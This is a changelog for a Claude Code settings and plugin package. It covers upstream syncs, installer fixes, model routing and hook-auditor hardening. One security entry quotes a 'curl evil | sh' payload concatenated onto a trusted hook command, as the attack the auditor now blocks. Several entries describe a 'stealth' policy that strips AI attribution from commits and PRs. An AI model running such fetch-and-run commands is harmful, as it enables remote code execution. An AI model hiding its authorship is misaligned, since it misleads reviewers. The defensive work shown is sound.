sandbox.credentialssetting (Claude Code v2.1.187) — extended theSandboxschema insrc/schemas/settings.tswith acredentialsblock:files: [{ path, mode: "deny" }]denies sandboxed reads of credential files (same enforcement asfilesystem.denyRead), andenvVars: [{ name, mode: "deny" }]unsets secret env vars before each sandboxed command."deny"is the only supported mode today. Documented indocs/settings-reference.md. Why it matters: complements our existing process-wideCLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1with a sandbox-scoped, declarative credential deny list (e.g.~/.aws/credentials,GITHUB_TOKEN).CLAUDE_CODE_MCP_TOOL_IDLE_TIMEOUTenv var (Claude Code v2.1.187) — added toupstream/claude-code-manifest.jsonknownEnvVarsand the env table indocs/settings-reference.md. Why it matters: remote MCP tool calls that go idle now abort with an error instead of hanging ~5 minutes; this env var tunes the threshold.
Deletions / Native-now-redundant:
- None this cycle.
Files changed:
- src/schemas/settings.ts
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- src/setup.ts
- CHANGELOG.md
[11.29.1] — 2026-06-23
Harden the Codex bridge (src/lib/codex.ts, src/scripts/codex-run.ts) after a cross-model review pass — Codex reviewed the bridge, Opus triaged the findings, and Codex independently re-reviewed the resulting diff (clean). Six hardening fixes, no behavior change to the happy path. Existing 47-test suite grew to 57.
Fixed:
- Graceful exec spawn-failure —
runCodexExecwrapsBun.spawnin try/catch.Bun.spawnthrows synchronously on ENOENT (codex vanished from PATH inside the 60sAVAILABLE_TTL_MSwindow that skips the L0 check), on an invalidcwd, and on permission errors. Previously these crashed the/codexscript with an unhandled exception; now they fail open with a classified verdict (ENOENT ⇒not-installed, elseunknown). - Verdict-cache race guard — new
commitReconciledre-reads immediately before writing and refuses to let a cheap/inconclusive non-stickyavailable/unknownverdict clobber a newer fresh sticky L2 negative (rate-limited/no-access) a concurrent exec may have written. RoutedrefreshCodexVerdictand the unknown-failure write through it. Closes the cross-process read-check-write TOCTOU (there is no file lock). - Broadened terminal-control sanitization —
sanitizeOutputstripped only SGR color codes (ESC[…m); now strips all CSI, OSC (hyperlinksESC]8, titleESC]0, BEL/ST-terminated), and residual C0 control bytes (preserving tab/newline/CR). Defense-in-depth for cached details, the statusline, and echoed output. - Inconclusive-L1 fallback —
checkCodexAvailabilityno longer maps every non-zerocodex login statustounauthenticated(which blocked L2 forever on CLI drift / keychain errors). A positive "not logged in" signal still blocks; an unrecognized CLI error becomes the newunknownlive state so the real exec can probe; empty output (incl. timeout) stays conservative. - Real hard cap — the exec
Bun.spawnnow setskillSignal: "SIGKILL"so a child ignoring SIGTERM (Bun's default) can't outrun the timeout ceiling; timeout detection now keys offproc.signalCodewith the elapsed-time heuristic as a fallback. - Safer flag parsing —
parseForceonly consumes a leading--force(and an optional--), so a literal--forceinside a prompt is preserved verbatim.
Files changed:
- src/lib/codex.ts
- src/scripts/codex-run.ts
- tests/codex.test.ts
- src/setup.ts
- .claude-plugin/plugin.json
- CHANGELOG.md
[11.29.0] — 2026-06-23
Sync with Claude Code 2.1.186 — a bug-fix-heavy release with three additions that touch the cc-settings contract. Adopted all three; the ~20 upstream bug fixes and UI-only changes have no cc-settings surface.
Adopted:
respondToBashCommandssetting (2.1.186) —src/schemas/settings.ts,upstream/claude-code-manifest.json(knownSettingsKeys),docs/settings-reference.md. New top-level boolean.!-prefixed bash output now auto-triggers a Claude response by default; setfalseto restore the silent-insert behavior. The strict settings schema would have rejected the key, so tracking it is required.teammateMode: "iterm2"(2.1.186) —src/schemas/settings.ts(TeammateModeenum),docs/settings-reference.md. Adds the iTerm2 split backend for Agent Teams (warns when theit2CLI is missing).teammateModewas already a known settings key; only the enum value was missing.CLAUDE_CODE_MAX_RETRIES+CLAUDE_CODE_RETRY_WATCHDOGenv vars (2.1.186) —upstream/claude-code-manifest.json(knownEnvVars),docs/settings-reference.md.MAX_RETRIESis now capped at 15; the watchdog keeps retrying past the cap for unattended sessions. Manifest + docs only — no config wiring.
Docs-only:
MANUAL.md— noted that native/review <pr>now runs the same engine as/code-review medium(2.1.186).
Skipped: ~20 upstream Fixed … bug fixes (no cc-settings code involved); skill-frontmatter kebab/snake/camelCase aliasing (upstream got more lenient — our kebab-only skills already pass); claude mcp login/logout CLI auth; /workflows status filter, /plugin Skills section, perm-prompt alignment (UI-only); background-subagent perm-prompt surfacing and agent-denial enforcement (behavioral, no schema). awsAuthRefresh was already tracked.
Files changed:
- src/schemas/settings.ts
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- MANUAL.md
- src/setup.ts
- CHANGELOG.md
[11.28.1] — 2026-06-22
Fix — follow-up to the Bun built-in swap (#68)
An independent Codex cross-model review of the yaml→Bun.YAML and
@inquirer/confirm→node:readline migration (#65, shipped in 11.28.0) surfaced
two real Medium regressions, both reproduced and confirmed:
Bun.YAMLsilently keeps the last value on duplicate mapping keys, where theyamlpackage threw"Map keys must be unique".parseFrontmatterStrictnow detects duplicate top-level keys itself, solint:skills/lint:knowledgekeep catching them. The scan is column-0 only — nested mappings, list items, and block-scalar continuations are always indented, so they never false-trip.promptYn(readline) hung on Ctrl+C: readline'sclose()does not unblock a pendingquestion()— only anAbortSignalrejects it. Wired a SIGINT→AbortControllerso Ctrl+C falls back to the default, restoring the behavior@inquirer/confirmgave for free.
Fix — install-summary skills/docs counts
The post-install summary counted each manifest dir by top-level *.md files.
That works for the flat dirs (agents/, rules/, …) but skills/ is the only
dir built as subdirectories — each skill is skills/<name>/SKILL.md — so the
/\.md$/ match only ever found skills/README.md and printed skills/ (1) for
35 installed skills. docs/ likewise undercounted, ignoring the .md files in
its subdirs (plans/, upstream-bugs/, …) that the installer copies recursively.
Fixed (display-only — installation was always correct):
- Added
countSkillDirs(counts subdirs containing aSKILL.md) andcountEntriesRecursive;showSummaryroutesskills/anddocs/to them. Now reportsskills/ (35)anddocs/ (22). - The three count helpers now take an absolute dir (
CLAUDE_DIRis fixed at import, soshowSummaryjoins it at the call site), making them pure and unit-testable. - New
tests/install-display.test.ts(8 cases) reproduces the exact bug layout and pins the oldcountEntries-on-skills/path at1so the regression can't silently return.
[11.28.0] — 2026-06-22
Changed
- Codex bridge hardening:
--forceescape bypasses a sticky rate-limited/no-access verdict (which Codex emits even on auth mismatch); a freshavailableverdict skips the per-callcodex login statusprobe for 60s; timeouts now report partial output + a split/raise hint instead of an opaque exit code;execappendsgit status/diff --statso the changed files are always surfaced;sanitizeOutputstrips ANSI and redacts secrets (sk-/Bearer/Authorization/*_API_KEY|TOKEN|SECRET=) on all returned output. - Hook tamper-defense: the three divergent "managed
~/.claude/srchook command" classifiers (settings-merge, light-profile, audit-hooks) are unified intosrc/lib/hook-command.ts; the trusted regex is tightened to(scripts|hooks)only (dropslib/); hook-block traversal goes through aHooksBlock-schema-driveniterCommandHooks.readFingerprint/readSrcManifestnow validate through zod, strip control chars frominstalledAt, and reject manifest keys with../absolute paths. - Installer:
buildInstallPlanis the single source of truth for install/prune footprint;main()split intorunFullInstall(the migrate-only path inlined intomain); the in-installer skill-prune loop removed.managed-skills.tssplit intoACTIVE_SKILLS(completed — 7 missing current skills added:codex,freeze,plan-ceo-review,proof-of-work,retro,review-batch,strategist) +TOMBSTONE_SKILLS;lint:skillsnow assertsACTIVE_SKILLSmatchesskills/on disk. - Settings merger is now pure: MCP-server preservation moved out of
settings-merge.tsintomcp.tsresolveMcpServers(behavior unchanged).mergeSettingsno longer prints — it returnsMergeAccounting | null(null on the fresh-install passthrough) and the callerinstallSettingsformats viaprintMergeAccounting, so the merge orchestrator is output-free and testable. - Nuclear-review structural pass (whole-codebase audit):
src/setup.ts1005→707 lines — its display layer extracted tosrc/lib/install-display.tsand the help/rollback commands tosrc/lib/install-cmds.ts; therunMigrateOnlystub deleted; thebuildInstallPlan/installConfigFilesplan-vs-reality split removed so the plan honestly drives the light path, and the now-redundantremoveLightIncompatibleFilespass collapsed intoinstallConfigFiles(one prune path for light, not two). New canonicalsrc/lib/platform.tshelpers —CLAUDE_DIR/claudePath(),isoNow(),localDatetime()— replace 20+ bespokejoin(homedir(), ".claude")derivations and five inlined timestamp idioms across scripts/hooks;post-failure.tsnow usesreadState/writeState;statusline.tsroutes throughcolors.tssoNO_COLORis honoured. Boundary hardening:readSrcManifestvalidates via a newSrcManifestRecordSchema,auditHooksconsumes the schema-validated hooks block, andaudit-hooks.tsreadssettings.jsonthrough the canonicalreadJsonOrNull. Installer dry-run output is byte-identical — the pass is behavior-preserving.
Dependencies
@biomejs/biome2.4.16 → 2.5.0 (+biome.json$schemabump). The stricter 2.5.0 ruleset surfaced a dead test helper (withTmpintests/mcp.test.ts) and an unused import, both removed; a handful of pre-existing non-blocking style warnings remain for a later sweep.- Runtime dependencies cut from 3 to 1 (only
zodremains).yaml→Bun.YAML(frontmatter.ts) and@inquirer/confirm→node:readline/promises(prompts.ts). Removes ~12 installed packages (incl. the@inquirertree) and ~1.5 MB from every~/.claudeinstall, and shrinks the surface to keep fresh.engines.bunraised>=1.1.30 → >=1.2.21(the release that introducedBun.YAML);setup.shBUN_MINand the docs bumped to match. Trade-off:Bun.YAMLexposes no reliable block-relative line/col on parse errors, soparseFrontmatterStrict(used bylint:skills/lint:knowledge) now reports the error message without a position — acceptable since frontmatter blocks are a few lines.
Internal
claude-audit.tssplit intoanalyzeCommands(model) +renderAudit(render); shared frontmatter-lint core extracted fromlint-skills/lint-knowledge;writeStateis now atomic (tmp+rename);tool-cadenceCounterStaterehydration goes throughnormalizeCounterState.
Upstream sync
- Synced the upstream manifest to Claude Code 2.1.185 (
upstream/claude-code-manifest.json). No adoptions: 2.1.185's only change is a cosmetic stream-stall hint reword ("Waiting for API response · will retry in …", now firing after 20s instead of 10s) internal to the Claude Code TUI — cc-settings has no surface that mirrors it. 2.1.184 carried no changelog entry. No schema, hook, env-var, or config changes.
[11.27.1] — 2026-06-19
Fix — installer merger now deep-merges object config defaults
The setup.sh settings.json merger preserved a user's existing object blocks
whole, so a new nested config default added by a sync never reached
existing installs. Surfaced installing v11.27.0: attribution.sessionUrl: false
showed in bun run compose but not in the merged ~/.claude/settings.json —
the user's existing attribution: { commit, pr } shadowed the team's
{ commit, pr, sessionUrl }. The version sentinel bumped while the setting
silently never landed.
Fixed:
userWinsScalarStrategy(the default strategy for keys with no dedicated handler —attribution,sandbox,spinnerVerbs, …) now deep-merges plain objects via a new recursivedeepMergeUserWinshelper: team-only sub-keys (new defaults) land while the user's customized sub-keys win on conflict. Arrays and object↔scalar shape mismatches keep user-wins-whole — an array or retyped field is a deliberate replacement, not a partial override.- New
MergeAccounting.defaultsAddedcounter + install line ("Added N new team default(s) into existing settings block(s)") so a landing default is visible, not silent.
Tests: 6 added to tests/settings-merge.test.ts (team-only sub-key lands;
user sub-key wins on conflict; depth > 1 recursion; arrays stay whole;
object↔scalar mismatch; end-to-end attribution.sessionUrl regression lock).
539 pass / 0 fail.
Files changed:
src/lib/settings-merge.tstests/settings-merge.test.tssrc/setup.ts.claude-plugin/plugin.jsonCHANGELOG.md
[11.27.0] — 2026-06-19
Sync with Claude Code v2.1.183 — attribution.sessionUrl (stealth)
Caught the schema up to upstream 2.1.181 → 2.1.183 (2.1.182 was never published). One adopt; the rest of 2.1.183 is native UX and bug fixes with no cc-settings surface.
Adopted:
attribution.sessionUrl(2.1.183) — new boolean sub-field on theattributionobject that controls the claude.ai session link appended to commits and PRs. Emptycommit/prstrings do not suppress this link, so it needs its own toggle. Modeled insrc/schemas/settings.ts(sessionUrl: z.boolean().optional()), set tofalseinconfig/10-core.json, and documented indocs/settings-reference.md. Polarity confirmed against the live 2.1.183 binary (if (attribution?.sessionUrl === false) return null). This directly serves Darkroom's no-AI-attribution / stealth policy — all three attribution fields now off.
Deletions / native-now-redundant:
- None. The 2.1.183 auto-mode block of destructive git commands (
git reset --hard,git checkout -- .,git clean -fd,git stash drop) overlapssrc/hooks/safety-net.ts, but our PreToolUse hook fires in all permission modes (not just auto mode), so it stays — defense in depth, not redundant.
Skipped (noted for the record):
- The subagent
thinking.disabled400 fix and the "WebSearch empty in subagents" fix both benefit cc-settings' delegation-heavy workflow, but require no config change. - Remaining 2.1.183 entries (model-deprecation warning,
/config --help,/configtoggle behavior, startup-line removal, ~9 other bug fixes) are native UX/fixes with no cc-settings surface.
Files changed:
src/schemas/settings.ts,schemas/settings.schema.jsonconfig/10-core.jsondocs/settings-reference.mdupstream/claude-code-manifest.jsonsrc/setup.tsCHANGELOG.md
[11.26.0] — 2026-06-18
Sync with Claude Code v2.1.181 — sandbox Apple Events + presence-file env var
Caught the schema up to upstream 2.1.178 → 2.1.181 (2.1.180 was never published; 2.1.179 was bug-fixes only). Light drift: one nested sandbox field and one env var, both macOS-flavored.
Adopted:
sandbox.allowAppleEvents(v2.1.181) — opt-in boolean that lets sandboxed Bash commands send Apple Events on macOS. Added explicitly to theSandboxlooseObject insrc/schemas/settings.ts; the schema already accepted it, but the explicit field documents intent and keeps the upstream scanner aligned.CLAUDE_CLIENT_PRESENCE_FILE(v2.1.181) — env var pointing at a presence file Claude Code touches while active, suppressing duplicate mobile push notifications when the desktop client is present. Added toknownEnvVarsin the manifest and the env table indocs/settings-reference.md.
Native-now-noted (no cc-settings change):
/config key=value(v2.1.181) — set any setting inline from the prompt. Native UI; theupdate-configskill already points users at/config, no repo surface to edit.- Bundled Bun runtime upgraded to 1.4 (v2.1.181) — affects Claude Code's vendored runtime, not cc-settings'
engines.bun >=1.1.30dev requirement. No change.
Skipped: all 2.1.179/2.1.181 bug fixes and UI/runtime tweaks (streaming line-by-line display, thinking-phase auto-retry, subagent panel auto-hide, MCP OAuth browser styling, fullscreen modifier+click, prompt-caching/network-drive/Apple-Events/startup/worktree/subagent fixes, WSL2 scroll, Linux sandbox glob perf, plugin-load perf) — no config surface.
Files changed: src/schemas/settings.ts upstream/claude-code-manifest.json docs/settings-reference.md src/setup.ts CHANGELOG.md
[11.25.0] — 2026-06-16
Sync with Claude Code v2.1.178 — three new settings keys
Caught the schema up to upstream 2.1.171 → 2.1.178. The drift was light: three new settings keys, plus behavior/permission notes; the rest of the range is bug fixes and UX for paths cc-settings doesn't configure.
Adopted:
enforceAvailableModels(v2.1.175) — managed boolean; when set, theavailableModelsallowlist also constrains the Default model and user/project settings can't widen a managed list. Added tosrc/schemas/settings.ts(ENTERPRISE block) so strict parse accepts it. Matters because cc-settings already managesavailableModels; this is the enforcement half.footerLinksRegexes(v2.1.176) — array; regex-matched link badges in the footer row, user or managed. Added tosrc/schemas/settings.ts(general block) asz.array(z.unknown())since upstream hasn't pinned the entry shape.wheelScrollAccelerationEnabled(v2.1.174) — boolean; toggles mouse-wheel scroll acceleration in fullscreen mode. Added tosrc/schemas/settings.ts(general block).
Docs:
docs/settings-reference.md— three table rows for the keys above; new Permission Pattern Syntax note +Agent(model:opus)example for theTool(param:value)parameter-matching syntax (v2.1.178). cc-settings ships no param-matched rules yet, but the string-based permission schema already accepts them.MANUAL.md— new "Nested.claude/directories (monorepos)" subsection covering nested.claude/skillsloading + directory-qualified names on clash, closest-to-cwd precedence for agents/workflows/output-styles (v2.1.178), and 5-level sub-agent nesting (v2.1.172).
Deletions / native-now-redundant: none — nothing in this range subsumes a cc-settings workaround.
Manifest: upstream/claude-code-manifest.json bumped to claudeCodeVersion 2.1.178, lastScan 2026-06-16, three keys added to knownSettingsKeys (unique also canonicalized one pre-existing mis-sort: claudeMd now precedes cleanupPeriodDays).
Skipped: Fable [1m] auto-strip (v2.1.173 — docs already state Fable is 1M-native); auto-mode subagent classifier, /doctor//bug/Remote Control/vim/statusline UX; all background-session, Bedrock, OAuth, compaction, VSCode, and Windows fixes. v2.1.171 was internal-only; v2.1.177 had no entry.
Files changed:
- src/schemas/settings.ts
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- MANUAL.md
- src/setup.ts
- CHANGELOG.md
[11.24.0] — 2026-06-15
Fable 5 / Mythos 5 suspended — decision tier falls back to opus[1m]
On 2026-06-12 a US government export-control directive suspended all access to Fable 5 and Mythos 5 for every customer (announcement); all other Claude models are unaffected, no restoration date given. cc-settings had routed the main session and judgment agents to Fable since the 2026-06-10 rollout, so those sessions/agents could no longer start. This reroutes the decision tier to Opus 4.8 with a 1M pin until Fable returns.
- Session default (
config/10-core.json):"model"fable→opus[1m]. The[1m]pin is required — Fable was 1M-native, Opus is not, so plainopuswould silently drop to the smaller window. - Judgment agents (
agents/maestro.md,agents/planner.md,agents/reviewer.md):modelfable→opus[1m], preserving the 1M context they had under Fable. - Unchanged:
CLAUDE_CODE_SUBAGENT_MODEL(sonnet),CLAUDE_CODE_EFFORT_LEVEL(high), and the read/execute agents (implementer/security-revieweronopus;explore/tester/scaffolder/deslopperonsonnet) — none touched Fable. fablekept as a valid alias insrc/schemas/agent.ts,schemas/*.schema.json, and the reference tables: the suspension is expected to be temporary, so the syntax stays parseable and the docs flag itSUSPENDEDrather than removing it. When access is restored, revert theopus[1m]entries tofableand drop the pins.- Docs:
docs/agent-models.md(suspension banner + reworked routing table/principle),CLAUDE-FULL.md(context-window paragraph),MANUAL.md(model section + statusline example),docs/settings-reference.md(model table). Noupstream/claude-code-manifest.jsonbump — this is a model-availability event, not a Claude Code upstream sync.
Files changed:
- config/10-core.json
- agents/maestro.md
- agents/planner.md
- agents/reviewer.md
- docs/agent-models.md
- CLAUDE-FULL.md
- MANUAL.md
- docs/settings-reference.md
- src/setup.ts
Plugin marketplace support — Cowork-installable (#54)
.claude-plugin/marketplace.json(new): self-referential marketplace (cc-settings) with one plugin entry (darkroom,source: "./"). Install via/plugin marketplace add darkroomengineering/cc-settingsthen/plugin install darkroom@cc-settings..claude-plugin/plugin.json: inlinemcpServersfor the portable connectors (context7,figma,chrome-devtools);tldrdeliberately excluded (requires a locally installedtldr-mcpbinary). Version bumped 8.1.0 → 11.23.1 — it had been stale since the v10 unification and now tracks the installerVERSIONconstant. Dropped inertrequires/featuresfields (claude plugin validateflags them as unknown/ignored); addeddisplayName.tests/plugin-manifest.test.ts(new): pinsplugin.jsonversion tosrc/setup.tsVERSION, asserts pluginmcpServersis a field-exact subset ofconfig/20-mcp.json, allows only documented manifest fields, and matches the marketplace entry toplugin.json.MANUAL.md: new "Plugin install (Cowork and Claude Code)" subsection documenting what the plugin carries (skills/agents/connectors) vs what stayssetup.shterritory (hooks, rules, profiles, CLAUDE.md/AGENTS.md, permissions,tldr).
Delegation guidance — high-agency heuristic (issue #44)
CLAUDE-FULL.md: replaced the "repeated nag" MUST/SHOULD list with a per-decision heuristic table (3+ files / 10+ calls / security-sensitive → delegate, route by shape; NO → act directly). Four closing rules replace the old enforcement list; the briefing-contract blockquote is preserved verbatim.src/hooks/tool-cadence.ts(parallelmax branch): one nudge per streak (fires at 12+ calls OR 3+ distinct files edited, whichever comes first), followed by one escalation (soft block viacontinueOnBlock) if the streak continues past the reminder. Net: at most 2 signals per streak, down from one every 12 calls indefinitely. State tracksfiles,nudged,countAtNudge,filesAtNudge,escalated; old-shape state files handled with defensive defaults.config/40-hooks.json:continueOnBlock: trueon the tool-cadence PostToolUse hook so the escalation block surfaces as a hard-to-ignore signal without aborting the turn.src/hooks/delegation-detector.ts: message compressed — single-line format with score, matched signals, and routing guide; overriding requires a stated reason.
Cost tuning — "explore/execute cheap, decide on Fable"
Fable stays the session default and the tier for judgment agents, but the high-volume read/execute agents move off it, since they were the bulk of the burn (each subagent re-reads the repo, and on a Fable session the inheriting agents all ran Fable).
- Per-agent routing (
agents/*.md,docs/agent-models.md):exploreanddeslopperinherit→sonnet(they rode Fable on every Fable session);implementerfable→opus(biggest single consumer; Opus lands clean code at ~half the cost and was the pre-Fable workhorse);security-reviewerfable→opus(Fable's safety classifier routes security content to Opus anyway — pin it rather than pay Fable and get downgraded).maestro/planner/reviewer/oraclestay Fable. - Teammate fan-out (
CLAUDE_CODE_SUBAGENT_MODELinconfig/10-core.json):fable→sonnet, the planned steady state, applied early (was scheduled for 2026-06-21). - Effort pin (
CLAUDE_CODE_EFFORT_LEVEL):xhigh→high— Anthropic's 4.8 default, a deliberate cost choice. Thexhighladder allocates materially more thinking tokens per turn on 4.8/Fable and that compounds across inheriting agents. Escape hatches:/effort xhighper session,ultrathinkper turn.CLAUDE-FULL.mdEffort section updated. - Delegation nudge (
src/hooks/tool-cadence.ts): consecutive-non-Agent threshold8→12, now env-overridable viaCC_PARALLELMAX_THRESHOLD— routine multi-step edits no longer trip the "should have delegated" reminder (delegating spawns a fresh agent that re-reads context, so the nudge was pushing toward more tokens, not fewer). - Rule scope (
rules/react-perf.md): dropped the**/*.tsglob so the React-only perf rule stops injecting into every TypeScript session (it was loading in non-React repos like this one); kept**/*.tsx/components//app/.
Whole-codebase /nuclear-review audit pass (June 2026): ~1,100 lines of dead or duplicated code removed, installer bash-era ceremony deleted, zod v4 idioms adopted. Behavior-preserving except where noted.
Security
- Supply-chain defense is now content-based, not path-based. The auditor previously trusted any
bun "$HOME/.claude/src/.../*.ts"command by path shape alone — malware could drop a new file under~/.claude/src/(classified trusted, downgrading the fingerprint alarm) or append a payload to an already-registered shipped script (no alarm at all, since the fingerprint covers onlysettings.hooks). The installer now writes a SHA256 manifest of every installedsrc/**/*.ts(~/.claude/.cc-settings-src-manifest);verify-hooksre-checks it at SessionStart andaudit:hooksonly classifies a shipped-path command trusted when its content hash matches the manifest (no manifest → unknown; mismatch or unmanifested file → suspicious). Like the fingerprint, the manifest is refreshed only bysetup.sh— never by the auditor — so malware can't whitelist itself. SECURITY.md documents the new layer and the remaining non-goals (bun binary, node_modules, coordinated sentinel tampering). Upgrading users will see trusted drop to unknown until they re-runsetup.sh. - Blocking PreToolUse hooks now carry
timeout: 5(safety-net, pre-edit-validate, freeze-guard) — a wedged Bun startup previously stalled every Bash/Edit for the 60s platform default. - Auditor hardened against command-string concatenation (re-audit finding on the manifest fix itself):
TRUSTED_BUN_CCpreviously allowed arbitrary trailing text, sobun ".../safety-net.ts" ; curl evil | shmatched as one trusted command and the malware-signature check was skipped on the trusted path. The trailing-arg group now accepts only simple word tokens (shell metacharacters reject the match), and malware signatures are checked first, unconditionally — a hit always classifies suspicious, even for a manifest-verified command. Regression tests cover the;/&&/pipe/$(...)/backtick vectors with a verified manifest present.
Removed
- Dead code surfaced by the audit — the barrel files
src/index.ts/src/lib/index.ts/src/schemas/index.ts(zero importers; consumers import concrete files),src/lib/stack.ts+tests/stack.test.ts(no production consumers — the skills its header named were retired or never wired; stale claims fixed in MANUAL.md and the May consolidation audit),bench/prototype/(its compile-to-binary question was settled — hooks ship asbunsource invocations), andcontexts/(thin pointers toprofiles/documenting a/contextecosystem switcher that never existed; the installer prunes the legacy installed dir on upgrade). src/lib/version-drift.ts— folded intoversion-delta.ts; the near-synonym module names were a trap.src/schemas/hooks-config.ts+schemas/hooks-config.schema.json— the legacyhooks-config.jsonfile tier insrc/lib/hook-config.ts(kept alive solely to back-fill threeclaude_md_monitorenv defaults, for files the installer deletes on every run) is gone;getClaudeMdMonitoris now env vars + defaults, and the schema lost its last consumer.
Changed (hooks hot path)
parallelmax-nudge.ts+review-queue-nudge.ts→ onetool-cadence.ts. Both ran unmatched on every PostToolUse (two Bun spawns per tool call) and already shared state through the filesystem. One spawn now runs both branches verbatim; nudge texts, state files, and debounce are unchanged.- One block protocol. New
blockDecision()/readToolInputEnv()inhook-runtime.ts; safety-net, freeze-guard, and pre-edit-validate all block with the documented{"decision":"block"}JSON (pre-edit-validate previously emitted plain text). pre-edit-validate also gained a top-level catch (fail-open on unexpected throw). safety-net's AI-attribution check collapsed to one regex/one branch — the old commit/PR regex pair matched identical strings. - statusline hardening + spawn diet — the whole render is wrapped (any error prints a degraded line and exits 0 instead of blanking;
Bun.spawnthrows synchronously when git is absent); the redundantrev-parseprobe is gone and ahead/behind is onerev-list --left-right --count, with independent lookups underPromise.all. - Fail-open is now behaviorally tested —
tests/hook-fail-open.test.tsspawns every wired hook (plus the statusline command from10-core.json, which the old grep-based check never saw) with garbage stdin/env and asserts exit 0, instead of grepping sources fortry {.
Changed
- Installer (
src/setup.ts+ libs) de-bashed. The staged-file dance is gone:mergeSettingsWithMcpPreservationandinstallMcpToClaudeJsonnow take the in-memory composed settings instead of re-reading.team-settings.staged.jsonfrom disk (three disk round-trips and a duplicate MCP validation deleted). Newsrc/lib/merge-keyed.ts(unionByKey/subtractByKey) replaces four hand-rolled JSON-keyed set-arithmetic loops;removeManagedMcpServersmoved tosrc/lib/mcp.tswhere the MCP domain logic lives.PROFILE_MANIFESTinlight-profile.tsis now the single source of truth for the per-profile file footprint — install, light-cleanup, dry-run, and summary all derive from it instead of four hand-maintained lists. OnefingerprintSettingsHookshelper replaces the copy-pasted light/full fingerprint blocks (the light copy had drifted to swallowing schema issues silently). - zod v4 idioms — all 16 deprecated
.passthrough()sites becamez.looseObject(), the one.strict()becamez.strictObject(); emitted JSON Schemas are byte-identical. Stale strictness-policy comments inclaude-json.ts/skill.tsrewritten (the real typo guard is the key-name test, not strictness). The permission-mode enum now has one home (permissions.ts;agent.tsre-exports). - Scripts cluster — new
src/lib/artifact-store.ts(timestamp IDs,latestsymlink dance, list/resolve) shared bycheckpointandhandoff, which had reimplemented it twice (on-disk formats and CLI surfaces unchanged); newsrc/lib/tsc.tsrunTsc()shared bypost-edit-tsc/pre-commit-tsc;frontmatter-validate.ts's three identical walkers became one generic walker + spec table;claude-auditgot a real entry point (bun run claude-audit) after its/auditskill was retired;new-noteuses the canonicalrunGit. - Test files renamed for their subject, not the migration that created them —
phase2-scripts.test.ts→scripts-smoke.test.ts;phase3-libs.test.tsdissolved intomcp.test.ts(ending split MCP coverage) andlib-helpers.test.ts.buildPermissionsBlockmoved from thegen-permissions-docscript intosrc/lib/permissions-doc.ts(the one script that moonlighted as a lib). - Rules dedup —
rules/react-perf.mdno longer repeats three blocks verbatim fromperformance.md(both load together on every React file); it now cross-links and keeps only additive content.profiles/webgl.md's instancing example rewritten withoutuseMemoper its own React Compiler guidance.
Fixed
- Stale-hook false positives in
audit:hooks— upgraders who carried renamed/removed hook scripts (parallelmax-nudge.ts,review-queue-nudge.ts,track-tldr.ts,tldr-stats.ts) saw them classifiedsuspiciousandbun run audit:hooksexited 1. Two-part fix: (1) the settings merger now prunes all four as deprecated patterns (same mechanism asparallelmax-judge.ts); (2) the auditor gains astaleseverity (exit 0) for shipped-pattern commands whose script file no longer exists on disk — distinct fromsuspicious(dropped payload, file exists but is unmanifested). TheformatAuditReportsummary now readsN staleand includes a dedicated⚠ STALEsection with a remediation line.hasSuspiciousis unaffected by stale findings. - Backup failure now aborts the install (was:
tarexit code ignored, install proceeded intocleanOldConfig'srm -rfwith no restore point — the advertised--rollbacksafety net silently didn't exist on backup failure). - A typo in
config/*.jsonnow fails the install loudly —composeSettingsschema-validates the composed fragments and throws; previously team-config validation was debug-log-only. User-settings forward-compat tolerance is unchanged. readJsonOrNullno longer mislabelsEACCES/EISDIRas "not valid JSON" — only real parse failures wrap asJsonParseError.src/lib/status.tsparsessettings.jsononce with theSettingsschema instead of four bare casts;checkpoint restorevalidates the (user-editable) checkpoint file instead of crashing on malformed input.~/.claude/session-titles/is now pruned by session-start (>30 days); it previously grew unboundedly.stop-summarywording now says what it measures (working-tree modified files, not "session touched").MANUAL.mdno longer references the nonexistentweb-vitalsrule;@inquirer/confirmbumped 6.1.0 → 6.1.1.
[11.23.1] — 2026-06-10
Manifest-only sync with Claude Code v2.1.170. No schema, config, hook, or doc changes.
Adopted: nothing — v2.1.170's headline (Claude Fable 5 GA) was already adopted in cc-settings 11.23.0 (default model, agent schema alias, docs).
Skipped:
- Fable 5 announcement bullets — already adopted (see 11.23.0).
- Fix for sessions launched from the VS Code integrated terminal not saving transcripts / appearing in
--resume— upstream bug fix, no cc-settings surface.
Files changed:
upstream/claude-code-manifest.json(claudeCodeVersion 2.1.169 → 2.1.170, lastScan 2026-06-10)src/setup.ts(VERSION 11.23.0 → 11.23.1)CHANGELOG.md
[11.23.0] — 2026-06-09
Adopts Claude Fable 5 (claude-fable-5) — Anthropic's new top tier above Opus, tuned for agentic/software-engineering work — as the cc-settings default model.
Added
fablerecognized as a first-class model alias in the agent/profile schema (src/schemas/agent.ts, regeneratedschemas/agent.schema.json) and documented in the settings, profiles, and frontmatter alias tables. Fable 5 is 1M-context natively, so no[1m]pin is needed (unlikeopus[1m]/sonnet[1m]).
Changed
- Default session model
opus[1m]→fable(config/10-core.json). - Deep-reasoning agents →
fable:maestro,planner,reviewer,security-reviewer,implementer(wereopus). Mechanical agents (tester,scaffolder) staysonnet;explore/deslopperstayinherit(now riding a Fable session). - Temporary rollout boost:
CLAUDE_CODE_SUBAGENT_MODELsonnet→fablethrough 2026-06-21. On 2026-06-21, revert this single value back tosonnet(the "session + heavy agents" steady state) — session + heavy agents stay on Fable, teammate fan-out drops back to Sonnet. This is the only delta between the boost and the steady state.
⚠️ Cost: Fable 5 is ~2× Opus token cost ($10/$50 per Mtok). The default + agent-routing changes raise team-wide spend accordingly. 🌐 Providers: Fable 5 is first-party API / claude.ai Max. On AWS / Bedrock / Vertex / Foundry, fall back to
opus(pinclaude-opus-4-8) until Fable is offered there.
[11.22.0] — 2026-06-09
Adds a --light install profile: a permanent, beginner-friendly tier for teammates who don't want the full cc-settings surface. Light is raw Claude Code with exactly two cc-settings additions — the statusLine and the share-learning skill — and nothing else.
Added
